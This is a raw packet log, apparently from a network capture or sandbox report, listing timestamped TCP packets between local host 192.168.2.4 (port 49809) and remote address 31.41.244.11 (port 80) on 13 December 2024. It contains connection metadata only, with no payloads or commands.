Dec 13, 2024 01:51:30.200866938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.200917006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.200984955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.201138020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.201872110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.202008009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.202074051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.202900887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.202986956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.203021049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.203066111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.203901052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.203954935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.203965902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.203995943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.204874039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.204961061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.204992056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.205089092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.205882072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.206031084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.206080914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.206904888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.207004070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.207055092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.207973003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.208046913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.208091021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.208091021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.208852053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.208906889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.208978891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.209027052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.209875107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.209930897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.210001945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.210048914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.210858107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.210906982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.210975885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.211030006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.211927891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.211977959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.212047100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.212100029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.212896109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.213099957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.213152885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.213201046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.213854074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.213912010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.213979959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.214056969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.214881897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.214937925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.215023994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.215074062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.215857029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.215914011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.215997934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.216046095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.216835022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.216938019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.216969013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.217020035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.217838049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.217896938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.217962027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.218008995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.218863964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.218925953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.218949080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.218996048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.219851971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.219924927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.219929934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.219966888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.220851898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.220988035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.221035957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.221035957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.221844912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.221904039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.221967936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.222132921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.222819090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.222870111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.222944021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.222990036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.223798037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.223879099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.223939896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.223989010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.224812984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.224873066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.224940062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.224988937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.225810051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.225864887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.225866079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.225917101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.226809025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.226864100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.226975918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.227026939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.227804899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.227902889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.227965117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.228760004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.228810072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.368963003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.369028091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.369204044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.369412899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.369471073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.369620085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.369620085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.370186090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.370244980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.370331049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.370383978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.371181965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.371354103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.371404886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.372195959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.372251034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.372308016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.372360945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.373152971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.373207092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.373296976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.373348951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.374192953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.374248981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.374295950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.374349117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.375197887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.375300884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.375364065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.376130104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.376187086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.376260996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.376315117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.377134085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.377188921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.377259970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.377311945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.378165007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.378218889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.378243923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.378294945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.379167080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.379327059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.379383087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.380135059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.380198956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.380253077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.380305052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.381145954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.381198883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.381268978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.381320953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.382131100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.382184982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.382270098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.382323980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.383116961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.383243084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.383295059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.384116888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.384171009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.384236097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.384294987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.385159016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.385210991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.385278940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.385332108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.386128902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.386182070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.386239052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.386290073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.387099981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.387207985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.387259007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.388211012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.388264894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.388354063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.388406038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.389089108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.389183998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.389250994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.389302969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.390124083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.390178919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.390250921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.390302896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.391127110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.391223907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.391278982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.392082930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.392137051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.392158031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.392210960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.393112898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.393166065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.393234015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.393286943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.394098997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.394151926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.394311905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.394364119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.395102978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.395246029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.395302057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.396109104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.396162987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.396215916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.396270990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.397088051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.397142887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.397212029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.397262096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.398073912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.398127079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.398128033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.398180008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.399064064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.399123907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.399279118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.400096893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.400150061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.400232077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.400286913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.401072025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.401128054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.401197910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.401252031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.402055025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.402107000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.402179003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.402229071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.403067112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.403120995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.403189898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.404099941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.404154062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.404237986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.404290915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.405148983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.405203104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.405292988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.405345917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.406054974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.406104088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.406167030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.406218052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.407047987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.407102108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.407170057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.408041000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.408094883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.408160925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.408211946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.409054995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.409109116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.409224987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.409276009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.410144091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.410197973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.410209894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.410248995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.411039114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.411091089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.411159039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.412064075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.412117958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.412188053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.412239075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.413036108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.413089991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.413153887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.413203001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.414047003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.414100885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.414103985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.414149046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.415015936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.415071964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.415142059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.416023016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.416076899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.416117907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.416169882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.417032957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.417087078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.417126894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.417177916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.418025017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.418077946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.418148041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.418199062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.418987036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.419050932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.419115067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.420015097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.420070887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.420140982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.420192957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.420989037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.421042919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.561255932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.561311007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.561456919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.561458111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.561491013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.561532974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.561739922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.562424898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.562498093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.562520027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.562549114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.563380957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.563483953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.563545942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.564357042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.564420938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.564505100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.564558983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.565387964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.565444946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.565522909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.565587044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.566343069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.566392899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.566484928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.566534996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.567477942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.567619085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.567672968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.568396091 CET	80	49809	31.41.244.11	192.168.2.4
